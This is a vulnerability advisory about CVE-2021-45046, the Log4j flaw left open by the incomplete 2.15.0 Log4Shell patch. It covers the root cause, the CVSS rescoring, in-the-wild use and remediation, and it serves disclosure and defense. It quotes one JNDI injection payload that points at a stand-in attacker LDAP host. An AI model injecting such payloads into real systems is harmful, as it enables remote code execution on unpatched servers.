CVE-2021-45046

What is Apache Log4j2?

Apache Log4j2 is the most widely deployed Java logging library, used in millions of Java applications across enterprise software, cloud platforms, and open-source projects. See CVE-2021-44228 for the original Log4Shell vulnerability. CVE-2021-45046 is the follow-on vulnerability discovered in the incomplete initial patch (Log4j 2.15.0).

Overview

CVE-2021-45046 was discovered when the initial Log4Shell fix in Log4j 2.15.0 was found to be insufficient. The 2.15.0 patch restricted JNDI lookups to localhost by default, but it did not fully neutralize JNDI injection when Thread Context Map (MDC) input data was used in non-default logging patterns that include Context Lookups. An attacker could craft input that exploits Thread Context Lookup patterns to trigger JNDI injection even in applications running Log4j 2.15.0 with the "fixed" Log4Shell patch applied. CVE-2021-45046 was initially scored as low severity (3.7), then re-scored to CRITICAL (9.0) when it was understood that RCE was achievable in non-default configurations.

Affected Versions

Technical Details

The incomplete fix in Log4j 2.15.0 addressed the default lookup patterns but did not account for Thread Context Lookup usage. When an application's logging configuration uses patterns like %X{key} or ${ctx:key} to log MDC (Mapped Diagnostic Context) values that include attacker-controlled data, JNDI injection remains possible:

• Root cause: The 2.15.0 fix added a localhost allowlist for JNDI LDAP lookups but did not disable Thread Context Lookup as an injection vector
• Exploitation condition: The application must use a logging pattern that incorporates MDC/Thread Context values, AND the attacker must control input that flows into those context values
• Attack chain: Attacker injects ${jndi:ldap://attacker.com/exploit} into a value that gets logged via a Context Lookup pattern → Log4j performs JNDI lookup → attacker-controlled JNDI response triggers class loading → RCE
• CVSS upgrade rationale: Initially scored 3.7 because exploitation required non-default configuration; upgraded to 9.0 after demonstrated that common application patterns were vulnerable

Discovery

Identified by the security community during the intense scrutiny of Log4j following the initial Log4Shell disclosure. Multiple researchers identified the incomplete nature of the 2.15.0 fix within days.

Exploitation Context

CVE-2021-45046 was exploited in the wild by ransomware groups and nation-state actors who continued targeting Log4j after defenders patched to 2.15.0 but not 2.16.0. The ransomware use flag reflects confirmed deployment in attack chains. Organizations that patched CVE-2021-44228 by upgrading only to Log4j 2.15.0 remained vulnerable to this follow-on.

Remediation

1. Upgrade to Log4j 2.17.0 or later (Log4j 2.16.0 fixed this CVE; 2.17.0 added further hardening)
2. For Java 8: use Log4j 2.17.0+; for Java 7: Log4j 2.12.4+; for Java 6: Log4j 2.3.2+
3. If upgrading is not immediately possible and you are running 2.15.0, set log4j2.noFormatMsgLookup=true as a JVM argument (mitigates some but not all scenarios)
4. Audit all Java applications for Log4j 2.x dependencies — use tools like CISA's Log4j scanner or similar dependency scanners
5. Review vendor advisories for all commercial software that embeds Log4j (many products shipped their own bundled copies)